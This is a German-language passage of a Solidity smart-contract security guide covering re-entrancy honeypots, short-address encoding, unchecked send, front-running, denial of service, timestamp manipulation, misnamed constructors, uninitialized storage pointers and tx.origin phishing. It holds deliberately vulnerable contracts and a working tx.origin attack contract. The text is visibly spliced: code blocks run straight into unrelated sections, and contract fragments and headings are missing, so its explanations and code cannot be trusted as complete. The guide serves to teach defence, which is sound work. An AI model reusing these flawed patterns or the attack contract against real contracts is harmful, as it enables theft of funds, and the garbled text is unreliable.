Wenn die Adresse eines dieser Verträge im Konstruktor angegeben würde, würde die Funktion `encryptPrivateData()` einfach ein Ereignis erzeugen, das die unverschlüsselten privaten Daten ausgibt. Obwohl in diesem Beispiel ein bibliotheksähnlicher Vertrag im Konstruktor festgelegt wurde, ist es häufig der Fall, dass ein privilegierter Benutzer (wie ein `owner`) die Adressen der Bibliotheksverträge ändern kann. Wenn ein verknüpfter Vertrag die aufgerufene Funktion nicht enthält, wird die Fallback-Funktion ausgeführt. Beispielsweise wird bei der Zeile `encryptionLibrary.rot13Encrypt()` – wenn der durch `encryptionLibrary` angegebene Vertrag Folgendes wäre:```solidity
 contract Blank {
     event Print(string text);
     function () {
         emit Print("Here");
         //put malicious code here and it will run
     }
 }

Auf diese Weise wird zur Bereitstellungszeit eine Instanz des referenzierten Vertrags erstellt, und der Bereitsteller kann den `Rot13Encryption`-Vertrag nicht durch etwas anderes ersetzen, ohne den Smart Contract zu ändern.

Eine weitere Lösung besteht darin, bekannte externe Vertragsadressen fest zu kodieren.

Im Allgemeinen sollte Code, der externe Verträge aufruft, immer sorgfältig geprüft werden. Als Entwickler kann es beim Definieren externer Verträge eine gute Idee sein, die Vertragsadressen öffentlich zu machen (was im unten aufgeführten Honey-Pot-Beispiel nicht der Fall ist), damit Benutzer leicht prüfen können, auf welchen Code der Vertrag verweist. Umgekehrt kann eine private Variable für die Vertragsadresse ein Zeichen für bösartiges Verhalten sein (wie im Praxisbeispiel gezeigt). Wenn ein privilegierter (oder beliebiger) Benutzer in der Lage ist, eine Vertragsadresse zu ändern, die zum Aufrufen externer Funktionen verwendet wird, kann es (im Kontext eines dezentralen Systems) wichtig sein, einen Zeit-Sperr- oder Abstimmungsmechanismus zu implementieren, damit Benutzer sehen können, welcher Code geändert wird, oder damit Teilnehmer die Möglichkeit haben, sich für die neue Vertragsadresse zu entscheiden oder sie abzulehnen.

<h3 id="cr-example">Praxisbeispiel: Re-Entrancy-Honeypot</h3>

In letzter Zeit wurden mehrere Honeypots im Mainnet veröffentlicht. Diese Verträge versuchen, Ethereum-Hacker auszutricksen, die versuchen, die Verträge auszunutzen, aber am Ende Ether an den Vertrag verlieren, den sie auszunutzen erwarten. Ein Beispiel nutzt den obigen Angriff, indem es im Konstruktor einen erwarteten Vertrag durch einen bösartigen ersetzt. Der Code ist [hier](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code) zu finden:```solidity
pragma solidity ^0.4.19;

contract Private_Bank
{
    mapping (address => uint) public balances;
    uint public MinDeposit = 1 ether;
    Log TransferLog;

    function Private_Bank(address _log)
    {
        TransferLog = Log(_log);
    }

    function Deposit()
    public
    payable
    {
        if(msg.value >= MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }

    function CashOut(uint _am)
    {
        if(_am<=balances[msg.sender])
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }

    function() public payable{}

}

contract Log
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;
    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

Betrachten wir nun eine Börse, die eine große Menge eines Tokens hält (sagen wir `REP`), und einen Benutzer, der seinen Anteil von 100 Tokens abheben möchte. Der Benutzer würde seine Adresse, `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead`, und die Anzahl der Tokens, `100`, übermitteln. Die Börse würde diese Parameter in der Reihenfolge kodieren, die von der `transfer()`-Funktion festgelegt ist, d.h. zuerst `address`, dann `tokens`. Das kodierte Ergebnis wäre `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000` `000000000000000000000000000000000056bc75e2d63100000`. Die ersten vier Bytes (`a9059cbb`) sind der [Funktionssignatur/-selektor](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector) von `transfer()`, die zweiten 32 Bytes sind die Adresse, gefolgt von den letzten 32 Bytes, die die `uint256`-Anzahl der Tokens darstellen. Beachte, dass der Hex-Wert `56bc75e2d63100000` am Ende 100 Tokens entspricht (mit 18 Dezimalstellen, wie vom `REP`-Token-Vertrag festgelegt).

Ok, schauen wir uns nun an, was passiert, wenn wir eine Adresse senden, bei der 1 Byte (2 Hexadezimalstellen) fehlt. Konkret nehmen wir an, ein Angreifer sendet `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde` als Adresse (die letzten beiden Ziffern fehlen) und dieselben `100` Tokens zum Abheben. Wenn die Börse diese Eingabe nicht validiert, würde es kodiert als `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000`. Der Unterschied ist subtil. Beachte, dass `00` am Ende der Kodierung aufgefüllt wurde, um die kurze Adresse auszugleichen, die gesendet wurde. Wenn dies an den Smart Contract gesendet wird, liest der Parameter `address` als `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00` und der Wert liest sich als `56bc75e2d6310000000` (beachte die zwei zusätzlichen `0`). Dieser Wert entspricht nun `25600` Tokens (der Wert wurde mit `256` multipliziert). In diesem Beispiel würde der Benutzer, falls die Börse so viele Tokens hält, `25600` Tokens an die modifizierte Adresse abheben (während die Börse glaubt, der Benutzer hebe nur `100` ab). Offensichtlich besitzt der Angreifer in diesem Beispiel die modifizierte Adresse nicht, aber wenn der Angreifer eine beliebige Adresse erzeugen würde, die auf `0` endet (was leicht per Brute-Force möglich ist), und diese erzeugte Adresse verwendet, könnte er leicht Tokens von der ahnungslosen Börse stehlen.

<h3 id="short-prev">Vorbeugende Maßnahmen</h3>

Ich nehme an, es ist offensichtlich, dass die Validierung aller Eingaben vor dem Senden an die Blockchain diese Art von Angriffen verhindert. Es sollte auch beachtet werden, dass die Parameterreihenfolge hier eine wichtige Rolle spielt. Da das Auffüllen nur am Ende erfolgt, kann eine sorgfältige Anordnung der Parameter im Smart Contract potenziell einige Formen dieses Angriffs abschwächen.

<h3 id="short-example">Beispiel aus der Praxis: Unbekannt</h3>

Mir ist kein öffentlich bekannter Angriff dieser Art in freier Wildbahn bekannt.

<h2 id="unchecked-calls"><span id="SP-9">9. Ungeprüfte CALL-Rückgabewerte</span></h2>

Es gibt eine Reihe von Möglichkeiten, externe Aufrufe in Solidity durchzuführen. Das Senden von Ether an externe Konten erfolgt üblicherweise über die `transfer()`-Methode. Allerdings kann auch die `send()`-Funktion verwendet werden, und für vielseitigere externe Aufrufe kann der `CALL`-Opcode direkt in Solidity eingesetzt werden. Die Funktionen `call()` und `send()` geben einen booleschen Wert zurück, der angibt, ob der Aufruf erfolgreich war oder fehlgeschlagen ist. Diese Funktionen haben also eine einfache Einschränkung: Die Transaktion, die diese Funktionen ausführt, wird nicht zurückgesetzt (revert), wenn der externe Aufruf (initiiert durch `call()` oder `send()`) fehlschlägt, sondern `call()` oder `send()` gibt lediglich `false` zurück. Eine häufige Falle entsteht, wenn der Rückgabewert nicht geprüft wird, sondern der Entwickler erwartet, dass ein Revert erfolgt.

Für weiterführende Informationen siehe [DASP Top 10](http://www.dasp.co/#item-4) und [Scannen von Live-Ethereum-Verträgen auf den "Unchecked-Send"-Fehler](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/).

<h3 id="unchecked-calls-vuln">Die Schwachstelle</h3>

Betrachten wir das folgende Beispiel:```solidity
contract Lotto {

    bool public payedOut = false;
    address public winner;
    uint public winAmount;

    // ... extra functionality here

    function sendToWinner() public {
        require(!payedOut);
        winner.send(winAmount);
        payedOut = true;
    }

    function withdrawLeftOver() public {
        require(payedOut);
        msg.sender.send(this.balance);
    }
}

    var subpotsCount = getSubpotsCount(roundIndex);

    if(subpotIndex>=subpotsCount)
        return;

    var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);

    if(decisionBlockNumber>block.number)
        return;

    if(rounds[roundIndex].isCashed[subpotIndex])
        return;
    //Subpots can only be cashed once. This is to prevent double payouts

    var winner = calculateWinner(roundIndex,subpotIndex);
    var subpot = getSubpot(roundIndex);

    winner.send(subpot);

    rounds[roundIndex].isCashed[subpotIndex] = true;
    //Mark the round as cashed

Beachte, dass in Zeile \[21\] der Rückgabewert der `send`-Funktion nicht überprüft wird und die folgende Zeile dann einen booleschen Wert setzt, der angibt, dass dem Gewinner seine Mittel gesendet wurden. Dieser Fehler kann einen Zustand ermöglichen, in dem der Gewinner sein Ether nicht erhält, der Vertragszustand jedoch anzeigen kann, dass der Gewinner bereits ausgezahlt wurde.

Eine ernstere Version dieses Fehlers trat im [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) auf. Eine hervorragende [Post-Mortem-Analyse](https://www.kingoftheether.com/postmortem.html) dieses Vertrags wurde verfasst, die detailliert beschreibt, wie ein ungeprüfter fehlgeschlagener `send()`-Aufruf zum Angriff auf den Vertrag genutzt werden konnte.


<h2 id="race-conditions"><span id="SP-10">10. Race Conditions / Front Running</span></h2>

Die Kombination aus externen Aufrufen anderer Verträge und der Mehrbenutzer-Natur der zugrunde liegenden Blockchain führt zu einer Vielzahl potenzieller Solidity-Fallstricke, bei denen Benutzer *um* die Codeausführung *wetteifern*, um unerwartete Zustände zu erzielen. [Re-Entrancy](#reentrancy) ist ein Beispiel für eine solche Race Condition. In diesem Abschnitt werden wir allgemeiner über verschiedene Arten von Race Conditions sprechen, die auf der Ethereum-Blockchain auftreten können. Es gibt eine Reihe guter Beiträge zu diesem Thema, einige davon sind: [Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions), [DASP - Front-Running](http://www.dasp.co/#item-7) und die [Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions).

<h3 id="race-conditions-vuln">Die Schwachstelle</h3>

Wie bei den meisten Blockchains bündeln Ethereum-Knoten Transaktionen in Pools und formen daraus Blöcke. Die Transaktionen gelten erst dann als gültig, wenn ein Miner ein Konsensverfahren gelöst hat (derzeit [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW für Ethereum). Der Miner, der den Block löst, wählt auch aus, welche Transaktionen aus dem Pool in den Block aufgenommen werden. Dies erfolgt in der Regel nach der `gasPrice` einer Transaktion. Hierin liegt ein potenzieller Angriffsvektor. Ein Angreifer kann den Transaktionspool nach Transaktionen durchsuchen, die Lösungen für Probleme enthalten könnten, die Berechtigungen des Angreifers ändern oder widerrufen könnten oder einen Zustand in einem Vertrag ändern, der für den Angreifer unerwünscht ist. Der Angreifer kann dann die Daten aus dieser Transaktion übernehmen und eine eigene Transaktion mit einer höheren `gasPrice` erstellen und so erreichen, dass seine Transaktion vor der ursprünglichen in einen Block aufgenommen wird.

Sehen wir uns an, wie dies anhand eines einfachen Beispiels funktionieren könnte. Betrachten wir den Vertrag `FindThisHash.sol`:```solidity
contract FindThisHash {
    bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;

    constructor() public payable {} // load with ether

    function solve(string solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == sha3(solution));
        msg.sender.transfer(1000 ether);
    }
}

Diese Funktion erlaubt es einem Benutzer, anderen Benutzern zu gestatten, Token in seinem Namen zu übertragen. Die Frontrunning-Schwachstelle tritt in dem Szenario auf, wenn eine Benutzerin, Alice, ihrem Freund `Bob` erlaubt, `100 Token` auszugeben. Alice entscheidet später, dass sie die Genehmigung von `Bob`, `100 Token` auszugeben, widerrufen möchte, also erstellt sie eine Transaktion, die `Bobs` Zuteilung auf `50 Token` setzt. `Bob`, der die Chain aufmerksam beobachtet hat, sieht diese Transaktion und baut eine eigene Transaktion auf, um die `100 Token` auszugeben. Er setzt einen höheren `gasPrice` auf seine Transaktion als `Alice` und erreicht, dass seine Transaktion vor ihrer priorisiert wird. Einige Implementierungen von `approve()` würden es `Bob` erlauben, seine `100 Token` zu übertragen, und dann, wenn `Alice` Transaktion committet wird, `Bobs` Genehmigung auf `50 Token` zurückzusetzen, was `Bob` effektiv Zugang zu `150 Token` verschafft. Die Minderungsstrategien für diesen Angriff sind [hier](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit) in dem oben verlinkten Dokument angegeben.

Ein weiteres prominentes Beispiel aus der Praxis ist [Bancor](https://www.bancor.network/). Ivan Bogatty und sein Team dokumentierten einen profitablen Angriff auf die ursprüngliche Bancor-Implementierung. Sein [Blogbeitrag](https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798) und sein [Devon-3-Vortrag](https://www.youtube.com/watch?v=RL2nE3huNiI) erörtern im Detail, wie dies bewerkstelligt wurde. Im Wesentlichen werden Token-Preise auf der Grundlage des Transaktionswerts bestimmt; Benutzer können den Transaktionspool nach Bancor-Transaktionen durchsuchen und ihnen zuvorkommen, um von den Preisunterschieden zu profitieren. Dieser Angriff wurde vom Bancor-Team behoben.

<h2 id="dos"><span id="SP-11">11. Denial of Service (DOS)</span></h2>

Diese Kategorie ist sehr breit gefasst, besteht aber grundsätzlich aus Angriffen, bei denen Benutzer den Vertrag für einen kurzen Zeitraum oder in manchen Fällen dauerhaft funktionsunfähig machen können. Dies kann Ether dauerhaft in diesen Verträgen einsperren, wie es beim [Second Parity MultiSig Hack](#dc-example) der Fall war.

<h3 id="dos-vuln">Die Schwachstelle</h3>

Es gibt verschiedene Möglichkeiten, wie ein Vertrag funktionsunfähig werden kann. Hier möchte ich nur einige potenziell weniger offensichtliche, Blockchain-spezifische Solidity-Codemuster hervorheben, die zu DOS-Angriffen durch Angreifer führen können.

**1. Externe Aufrufe ohne Gas-Stipendien** – Es kann der Fall sein, dass du einen externen Aufruf an einen unbekannten Vertrag tätigen und die Transaktion unabhängig davon fortsetzen möchtest, ob dieser Aufruf fehlschlägt oder nicht. Typischerweise wird dies durch die Verwendung des `CALL`-Opcode erreicht, der die Transaktion nicht rückgängig macht, wenn der Aufruf fehlschlägt (siehe [Unchecked CALL Return Values](#unchecked-calls) für weitere Details und Beispiele). Betrachten wir ein einfaches Beispiel, bei dem wir einen Vertrag als Wallet haben, der langsam Ether auszahlt, wenn die Funktion `withdraw()` aufgerufen wird. Ein `Partner` kann seine Adresse hinzufügen und Gas aufwenden, um die Auszahlung aufzurufen, wodurch sowohl der `Partner` als auch der `Eigentümer` 1 % des gesamten Vertragssaldos erhalten.```solidity
contract TrickleWallet {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        require(partner == '0x0' || msg.sender == partner);
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // the recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

Wenn ein Entnahmepartner entschied, dass ihm der Eigentümer des Vertrags nicht gefiel.
Er könnte die Partneradresse auf diesen Vertrag setzen und alle Gelder im
`TrickleWallet`-Vertrag für immer sperren.

Um solche DoS-Angriffsvektoren zu verhindern, stellen Sie sicher, dass ein Gas-Stipendium in einem
externen Aufruf angegeben wird, um die Gasmenge zu begrenzen, die diese Transaktion verwenden kann. In unserem
Beispiel könnten wir diesen Angriff beheben, indem wir Zeile \[17\] ändern zu:```solidity
partner.call.gas(50000).value(amountToSend)();

// ... extra functionality, including transfertoken()

function invest() public payable {
    investors.push(msg.sender);
    investorTokens.push(msg.value * 5); // 5 times the wei sent
    }

function distribute() public {
    require(msg.sender == owner); // only owner
    for(uint i = 0; i < investors.length; i++) {
        // here transferToken(to,amount) transfers "amount" of tokens to the address "to"
        transferToken(investors[i],investorTokens[i]);
    }
}

Beachte, dass die Schleife in diesem Vertrag über ein Array läuft, das künstlich aufgebläht werden kann. Ein Angreifer kann viele Benutzerkonten erstellen und so das `investor`-Array vergrößern. Im Prinzip kann dies so weit getrieben werden, dass das für die Ausführung der for-Schleife benötigte Gas das Block-Gas-Limit überschreitet, wodurch die `distribute()`-Funktion praktisch unbrauchbar wird.

**3. Besitzer-Operationen** – Ein weiteres verbreitetes Muster ist, dass Besitzer in Verträgen spezifische Privilegien besitzen und eine bestimmte Aufgabe ausführen müssen, damit der Vertrag in den nächsten Zustand übergehen kann. Ein Beispiel wäre ein ICO-Vertrag, der verlangt, dass der Besitzer den Vertrag mit `finalize()` abschließt, wodurch die Token anschließend übertragbar werden, d. h.``` solidity
bool public isFinalized = false;
address public owner; // gets set somewhere

function finalize() public {
    require(msg.sender == owner);
    isFinalized == true;
}

// ... extra ICO functionality

// overloaded transfer function
function transfer(address _to, uint _value) returns (bool) {
    require(isFinalized);
    super.transfer(_to,_value)
}

...

constructor() public payable {} // initially fund contract

// fallback function used to make a bet
function () public payable {
    require(msg.value == 10 ether); // must send 10 ether to play
    require(now != pastBlockTime); // only 1 transaction per block
    pastBlockTime = now;
    if(now % 15 == 0) { // winner
        msg.sender.transfer(this.balance);
    }
}

Dieser Vertrag verhält sich wie eine einfache Lotterie. Pro Block kann eine Transaktion `10 ether` setzen, um die Chance zu haben, den Kontostand des Vertrags zu gewinnen. Die Annahme hierbei ist, dass `block.timestamp` gleichmäßig über die letzten beiden Ziffern verteilt ist. Wenn das der Fall wäre, gäbe es eine 1/15-Chance, diese Lotterie zu gewinnen.

Wie wir jedoch wissen, können Miner den Zeitstempel anpassen, falls sie es müssen. In diesem speziellen Fall, wenn genug Ether im Vertrag angesammelt ist, hat ein Miner, der einen Block löst, einen Anreiz, einen Zeitstempel zu wählen, bei dem `block.timestamp` oder `now` modulo 15 `0` ist. Dadurch kann er den in diesem Vertrag gesperrten Ether zusammen mit der Blockbelohnung gewinnen. Da pro Block nur eine Person setzen darf, ist dies auch anfällig für [Front-Running](#race-conditions)-Angriffe.

In der Praxis sind Block-Zeitstempel monoton steigend, und daher können Miner keine beliebigen Block-Zeitstempel wählen (sie müssen größer sein als die ihrer Vorgänger). Sie sind außerdem darauf beschränkt, Blockzeiten nicht zu weit in der Zukunft zu setzen, da solche Blöcke wahrscheinlich vom Netzwerk abgelehnt werden (Knoten werden keine Blöcke validieren, deren Zeitstempel in der Zukunft liegen).

<h3 id="block-timestamp-prev">Präventive Techniken</h3>

Block-Zeitstempel sollten nicht für Entropie oder die Erzeugung von Zufallszahlen verwendet werden - d. h. sie sollten nicht der entscheidende Faktor sein (weder direkt noch durch eine Ableitung) für den Gewinn eines Spiels oder die Änderung eines wichtigen Zustands (sofern sie als zufällig angenommen werden).

Zeitsensitive Logik ist manchmal erforderlich, z. B. beim Entsperren von Verträgen (Timelocking), beim Abschluss eines ICO nach einigen Wochen oder beim Durchsetzen von Ablaufdaten. Es wird manchmal empfohlen, `block.number` (siehe die [Solidity-Dokumentation](http://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties)) und eine durchschnittliche Blockzeit zur Zeitschätzung zu verwenden; d. h. `1 Woche` bei einer `10 Sekunden`-Blockzeit entspricht ungefähr `60480 Blöcken`. Daher kann die Angabe einer Blocknummer, bei der ein Vertragszustand geändert wird, sicherer sein, da Miner die Blocknummer nicht so leicht manipulieren können. Der [BAT-ICO](https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code)-Vertrag hat diese Strategie angewandt.

Dies kann unnötig sein, wenn Verträge nicht besonders um Manipulationen des Block-Zeitstempels durch Miner besorgt sind, aber es ist etwas, dessen man sich bei der Entwicklung von Verträgen bewusst sein sollte.

<h3 id="block-timestamp-example">Praxisbeispiel: GovernMental </h3>

[GovernMental](http://governmental.github.io/GovernMental/) war ein altes Ponzi-Schema, das eine ziemlich große Menge an Ether angesammelt hat. Es war außerdem anfällig für einen zeitstempelbasierten Angriff. Der Vertrag zahlte an den Spieler aus, der in einer Runde als letzter beigetreten war (für mindestens eine Minute). Somit konnte ein Miner, der selbst Spieler war, den Zeitstempel anpassen (auf einen zukünftigen Zeitpunkt, um so aussehen zu lassen, als sei eine Minute vergangen), um den Anschein zu erwecken, dass der Spieler länger als eine Minute als letzter beigetreten war (obwohl dies in Wirklichkeit nicht stimmt). Weitere Details dazu finden sich im [Beitrag zur Geschichte der Ethereum-Sicherheitslücken](https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes) von Tanya Bahrynovska.

<h2 id="constructors"><span id="SP-13">13. Vorsicht bei Konstruktoren</span></h2>

Konstruktoren sind spezielle Funktionen, die beim Initialisieren von Verträgen oft kritische, privilegierte Aufgaben ausführen. Vor solidity `v0.4.22` wurden Konstruktoren als Funktionen definiert, die denselben Namen wie der sie enthaltende Vertrag hatten. Wenn also ein Vertragsname während der Entwicklung geändert wird und der Konstruktorname nicht angepasst wird, wird er zu einer normalen, aufrufbaren Funktion. Wie man sich vorstellen kann, kann dies zu einigen interessanten Vertrags-Hacks führen (und hat es bereits getan).

Für weiterführende Lektüre empfehle ich dem Leser, die [Ethernaught Challenges](https://github.com/OpenZeppelin/ethernaut) zu versuchen (insbesondere das Fallout-Level).

<h3 id="constructors-vuln">Die Schwachstelle</h3>

Wenn der Vertragsname geändert wird oder ein Tippfehler im Konstruktornamen dazu führt, dass er nicht mehr mit dem Namen des Vertrags übereinstimmt, verhält sich der Konstruktor wie eine normale Funktion. Dies kann zu ernsten Konsequenzen führen, insbesondere wenn der Konstruktor privilegierte Operationen ausführt. Betrachten Sie den folgenden Vertrag```solidity
contract OwnerWallet {
    address public owner;

    //constructor
    function ownerWallet(address _owner) public {
        owner = _owner;
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
}

bool public unlocked = false;  // registrar locked, no name updates

struct NameRecord { // map hashes to addresses
    bytes32 name;
    address mappedAddress;
}

mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses

function register(bytes32 _name, address _mappedAddress) public {
    // set up the new NameRecord
    NameRecord newRecord;
    newRecord.name = _name;
    newRecord.mappedAddress = _mappedAddress;

    resolve[_name] = _mappedAddress;
    registeredNameRecord[msg.sender] = newRecord;

    require(unlocked); // only allow registrations if contract is unlocked
}

Dieser einfache Namensregistrar hat nur eine Funktion. Wenn der Vertrag `unlocked` ist, erlaubt er jedem, einen Namen (als `bytes32`-Hash) zu registrieren und diesen Namen einer Adresse zuzuordnen. Leider ist dieser Registrar anfänglich gesperrt und das `require` in Zeile \[23\] verhindert, dass `register()` Namenseinträge hinzufügt. Es gibt jedoch eine Schwachstelle in diesem Vertrag, die die Namensregistrierung unabhängig von der Variable `unlocked` erlaubt.

Um diese Schwachstelle zu besprechen, müssen wir zunächst verstehen, wie Storage in Solidity funktioniert. Als Überblick auf hoher Ebene (ohne technische Details – ich empfehle, die Solidity-Dokumentation für eine ordentliche Betrachtung zu lesen) werden Zustandsvariablen sequenziell in *Slots* gespeichert, so wie sie im Vertrag erscheinen (sie können gruppiert werden, aber nicht in diesem Beispiel, daher müssen wir uns darum nicht kümmern). Somit existiert `unlocked` in `slot 0`, `registeredNameRecord` in `slot 1` und `resolve` in `slot 2` usw. Jeder dieser Slots hat eine Bytegröße von 32 (es gibt zusätzliche Komplexitäten mit Mappings, die wir vorerst ignorieren). Der boolesche Wert `unlocked` sieht für `false` wie `0x000...0` (64 `0`en, ohne das `0x`) oder für `true` wie `0x000...1` (63 `0`en) aus. Wie man sieht, gibt es in diesem speziellen Beispiel eine erhebliche Verschwendung von Storage.

Die nächste Information, die wir benötigen, ist, dass Solidity komplexe Datentypen wie `structs` standardmäßig auf `storage` setzt, wenn sie als lokale Variablen initialisiert werden. Daher wird `newRecord` in Zeile \[16\] standardmäßig zu `storage`. Die Schwachstelle wird dadurch verursacht, dass `newRecord` nicht initialisiert wird. Da es standardmäßig auf `storage` gesetzt ist, wird es zu einem Zeiger auf Storage, und da es nicht initialisiert ist, zeigt es auf Slot `0` (d. h. dort, wo `unlocked` gespeichert ist). Beachte, dass wir in den Zeilen \[17\] und \[18\] dann `nameRecord.name` auf `_name` und `nameRecord.mappedAddress` auf `_mappedAddress` setzen; dies ändert tatsächlich die Storage-Position von Slot 0 und Slot 1, wodurch sowohl `unlocked` als auch der mit `registeredNameRecord` assoziierte Storage-Slot modifiziert werden.

Das bedeutet, dass `unlocked` direkt modifiziert werden kann, einfach durch den Parameter `bytes32 _name` der Funktion `register()`. Wenn also das letzte Byte von `_name` ungleich Null ist, wird es das letzte Byte des Storage-Slots `slot 0` modifizieren und `unlocked` direkt auf `true` ändern. Solche `_name`-Werte bestehen das `require()` in Zeile \[23\], da wir `unlocked` auf `true` setzen. Probiere dies in Remix aus. Beachte, dass die Funktion erfolgreich ist, wenn du einen `_name` der folgenden Form verwendest: `0x0000000000000000000000000000000000000000000000000000000000000001`

<h3 id="storage-prev">Vorbeugende Techniken</h3>

Der Solidity-Compiler gibt Warnungen für nicht initialisierte Storage-Variablen aus, daher sollten Entwickler diesen Warnungen beim Erstellen von Smart Contracts große Aufmerksamkeit schenken. Die aktuelle Version von mist (0.10) erlaubt es nicht, solche Verträge zu kompilieren. Es ist gute Praxis, die Schlüsselwörter `memory` oder `storage` explizit zu verwenden, wenn man mit komplexen Typen arbeitet, um sicherzustellen, dass sie sich wie erwartet verhalten. Ab Solidity-Version `0.5.0` sind `memory` und `storage` verpflichtend.

<h3 id="storage-example">Beispiele aus der Praxis: Honeypots: OpenAddressLottery und CryptoRoulette</h3>

Ein Honeypot namens OpenAddressLottery ([Vertragscode](https://etherscan.io/address/0x741f1923974464efd0aa70e77800ba5d9ed18902#code)) wurde bereitgestellt, der diese Eigenheit der nicht initialisierten Storage-Variablen ausnutzte, um Ether von einigen angehenden Hackern zu sammeln. Der Vertrag ist ziemlich komplex, daher überlasse ich die Diskussion diesem [Reddit-Thread](https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/), wo der Angriff recht klar erklärt wird.

Ein weiterer Honeypot, CryptoRoulette ([Vertragscode](https://etherscan.io/address/0x8685631276cfcf17a973d92f6dc11645e5158c0c#code)), nutzt diesen Trick ebenfalls, um etwas Ether zu sammeln. Wenn du nicht herausfinden kannst, wie der Angriff funktioniert, findest du in [An analysis of a couple Ethereum honeypot contracts](https://medium.com/@jsanjuas/an-analysis-of-a-couple-ethereum-honeypot-contracts-5c07c95b0a8d) einen Überblick über diesen und andere Verträge.

<h2 id="precision"><span id="SP-15">15. Gleitkommazahlen und Präzision</span></h2>

Zum Zeitpunkt dieses Textes (Solidity v0.4.24) werden Festkomma- oder Gleitkommazahlen nicht unterstützt. Das bedeutet, dass Gleitkommadarstellungen mit den Ganzzahltypen in Solidity umgesetzt werden müssen. Dies kann zu Fehlern/Schwachstellen führen, wenn es nicht korrekt implementiert wird.

Für weiterführende Informationen siehe [Ethereum Contract Security Techniques and Tips - Rounding with Integer Division](https://github.com/ethereum/wiki/wiki/Safety#beware-rounding-with-integer-division),

<h3 id="precision-vuln">Die Schwachstelle</h3>

Da es keinen Festkommatyp in Solidity gibt, sind Entwickler gezwungen, einen eigenen mit den standardmäßigen Ganzzahl-Datentypen zu implementieren. Dabei gibt es eine Reihe von Fallstricken, auf die Entwickler stoßen können. Ich werde versuchen, einige davon in diesem Abschnitt hervorzuheben.

Beginnen wir mit einem Codebeispiel (ignorieren wir der Einfachheit halber etwaige Über-/Unterlauf-Probleme).```solidity
contract FunWithNumbers {
    uint constant public tokensPerEth = 10;
    uint constant public weiPerEth = 1e18;
    mapping(address => uint) public balances;

    function buyTokens() public payable {
        uint tokens = msg.value/weiPerEth*tokensPerEth; // convert wei to eth, then multiply by token rate
        balances[msg.sender] += tokens;
    }

    function sellTokens(uint tokens) public {
        require(balances[msg.sender] >= tokens);
        uint eth = tokens/tokensPerEth;
        balances[msg.sender] -= tokens;
        msg.sender.transfer(eth*weiPerEth); //
    }
}

constructor (address _owner) {
    owner = _owner;
}

function () public payable {} // collect ether

function withdrawAll(address _recipient) public {
    require(tx.origin == owner);
    _recipient.transfer(this.balance);
}

Beachte, dass dieser Vertrag in Zeile \[11\] die Funktion `withdrawAll()` mithilfe von `tx.origin` autorisiert. Dieser Vertrag ermöglicht es einem Angreifer, einen Angriffsvertrag der folgenden Form zu erstellen,```solidity
import "Phishable.sol";

contract AttackContract {

    Phishable phishableContract;
    address attacker; // The attackers address to receive funds.

    constructor (Phishable _phishableContract, address _attackerAddress) {
        phishableContract = _phishableContract;
        attacker = _attackerAddress;
    }

    function () payable {
        phishableContract.withdrawAll(attacker);
    }
}